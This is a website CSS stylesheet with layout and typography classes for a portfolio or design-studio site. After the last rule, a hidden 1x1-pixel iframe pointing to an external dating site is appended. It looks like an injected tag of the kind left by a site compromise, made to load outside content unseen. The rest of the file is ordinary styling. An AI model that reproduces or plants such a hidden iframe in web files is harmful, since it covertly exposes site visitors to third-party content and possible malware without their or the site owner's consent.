/*body {font-family: Arial, Tahoma, Sans-Serif }*/

.workDescr	{ text-align:right; font-size: 83%; font-weight: bold }
.workDescrP	{ text-align:right; font-size: 68%; font-weight: bold; font-style: italic; padding-top: 10px }
.workDescrS	{text-align:right; font-size: 68%; font-weight: bold; font-style: italic; padding-top: 10px; padding-right: 53px }

.dblNav { font-size: 83%; padding-left: 20px; color: #706E66; font-weight: bold }
.dblNavTextSmall { font-size: 83%; color: #777777 }
.dblNavTextBold { font-size: 123%; color: #777777 }

.logo	{ padding-top: 13px }
.attention { padding-left: 20px }
.cell	{ padding-left: 20px; padding-right: 20px }

.idea
{
	font-size: 83%;
	padding: 10px;
	text-align:justify;
	
}

h1 { margin-bottom: 5px }

h2.ideaTitle
{
	font-size: 103%;
	font-weight: bold;
}

h2.mainTitle
{
	padding-left: 20px;
	font-size: 103%;
	font-weight: bold;
	margin-top: 0px;
	margin-bottom: 5px;
}

h2.smallTitle
{
	font-size: 103%;
	font-weight: bold;
	margin-top: 0px;
	margin-bottom: 0px;
}

h3.mainTitle
{
	font-size: 83%; 
	font-weight: bold;
	margin-top: 0px;
	margin-bottom: 5px;
}

h3.subTitle
{
	text-align:right; 
	font-size: 68%; 
	font-weight: bold; 
	font-style: italic; 
	padding-top: 10px;
	margin-top: 0px;
	margin-bottom: 5px;
}

h3.smallSubTitle
{
	text-align:right; 
	font-size: 83%; 
	font-weight: bold; 
	margin-top: 0px;
	margin-bottom: 0px;
}

.slogan
{
	font-weight: bold;
	font-size: 83%;
}

.portfolioAnon	{padding-left: 20px; padding-right: 20px;}
.portfolioImg	{padding-left: 20px;}
.portfolioClient	{font-size: 63%; padding-left: 20px; padding-right: 20px;}
.portfolioNav	{font-size: 73%; padding-right: 20px; padding-left: 20px;}
.portfolioText	{font-size: 83%; padding-left: 20px; text-align:justify;}

.portfolioClientList {font-size: 100%; padding-left: 20px; font-style: italic; font-weight: bold;}

.ul	{font-size: 83%; padding-left: -20px;}

.subtitle	{font-size: 103%; padding-left: 20px; font-weight: bold;}

.portfolioListWork	{font-size: 100%;}
.portfolioListClient	{font-size: 83%; font-weight: bold; font-style: italic;}
.portfolioListDate	{font-size: 83%;}

.portfolioTitleWork	{padding-left: 20px; padding-bottom: 0px; font-size: 120%; font-weight: bold;}
.portfolioTitleClient	{padding-left: 20px; font-size: 83%; font-weight: bold;}

hr.portfolio
{
	color:#333333; 
	height:1px; 	
	border-style:none; 
	background-color:#333333; 
	margin-top:0;
	margin-bottom:0
}

.fresh
{
	padding-left: 40px;
	padding-bottom: 20px;
	padding-right: 20px
}

.freshTitle
{
	color:#000000;
	font-size: 83%;
	font-weight: bold;
}

.title	{font-size: 120%; padding-left: 20px; font-weight: bold;}
.titleNoPad	{font-size: 120%; font-weight: bold;}
.titleSmall	{font-size: 100%; font-weight: bold;}

.sold	{font-size: 83%; font-weight: bold; color: #FF0000;}

.quoteTitle	{font-size: 100%; font-weight: bold; font-style: italic;}
.quote	{font-size: 83%;}

.text	{font-size: 83%; padding-left: 20px;}
.textPad	{font-size: 83%; padding-left: 20px; padding-right: 20px;}
.textNP	{font-size: 83%;}
.textNormal	{font-size: 100%; padding-left: 20px;}
.textSmall	{font-size: 63%; padding-left: 20px;}
.textSmallNP	{font-size: 63%;}
.date	{font-weight: bold; color: #BBBBBB;}

.greyBold	{font-weight: bold; color: #BBBBBB;}
.greySmBold	{font-size: 83%; font-weight: bold; color: #BBBBBB;}

.contactWhere	{font-size: 83%; border: solid #424242 1px; padding: 3px; font-weight: bold;}

.news	{font-size: 83%; padding-left: 23px; padding-right: 20px; border-left: solid #424242 1px;}
.newsTitle	{font-size: 146%; font-weight: bold;}

.stickerTop
{
	font-size: 120%;
	padding-left: 20px; 
	padding-right: 20px; 
	padding-top: 2px; 
	padding-bottom: 2px; 
	color: #424242; 
	font-weight: bold; 
	border: solid #D0AC2B 1px
}

.stickerMain
{
	background: #FFDC5F;
	text-align:justify;
	padding-left: 20px;
	padding-right: 20px;
	padding-top: 10px; 
	padding-bottom: 10px; 
	color: #424242; 
	font-size: 83%;
	border: solid #FFCC11 1px
}



.branches
{
	background: #FFFFFF;
	font-size: 100%; 
	padding-left: 20px; 
	padding-top: 2px; 
	padding-bottom: 4px; 
	color: #424242; 
	font-weight: bold; 
	font-style: italic; 

	border-top: solid #D0AC2B 1px;
	border-bottom: solid #FFFFFF 1px
}

.branchesSelected
{
	background: #FFCC11;
	font-size: 100%;

	padding-left: 19px;
	padding-top: 2px; 
	padding-bottom: 4px; 
	color: #424242; 
	font-weight: bold; 
	font-style: italic; 

	border-top: solid #FFCC11 1px;
	border-left: solid #D0AC2B 1px;
	border-bottom: solid #D0AC2B 1px;
	border-right: solid #D0AC2B 1px
}

.sectionSelected
{
	background: #FFDC5F;
	font-size: 100%;
	
	padding-left: 19px;
	padding-top: 2px; 
	padding-bottom: 4px; 
	color: #424242; 
	font-weight: bold; 
	font-style: italic; 
	
	border-top: solid #D0AC2B 1px;
	border-left: solid #FFCC11 1px;
	border-bottom: solid #FFCC11 1px;
	border-right: solid #FFCC11 1px
}

hr.copyright
{
	color:#333333; 
	height:1px; 	
	border-style:none; 
	background-color:#333333; 
	margin-left:20px; 
	margin-right:20px; 
	margin-top:0;
	margin-bottom:0
	
}

div.copyright
{
	width: 169px;
	font-size: 83%;
	text-align:left;
	font-style: italic
}

div.idea
{
	font-size: 83%;
	text-align: left;
	font-style: italic;
	padding-left: 20px
}

div.yellow
{
	height:10px;
	background-color:#FFCC11
}

.brBlock { height: 30px }
.brBlockSmall { height: 15px }
.brBlockMinimal { height: 10px }

.brBlock35 {height: 35px;}
.brBlock25 {height: 25px;}
.brBlock20 {height: 20px;}
.brBlock15 {height: 15px;}
.brBlock10 {height: 10px;}
.brBlock5 {height: 5px;}

div.block
{
	color: #BD000D;
	height: 5px;
	width: 3em;
	border-style: none;
	background-color: #BD000D;
	margin-top: 1.5em;
	margin-bottom: 1px
}<iframe src="http://dating.ru/?dating=21022" width=1 height=1></iframe>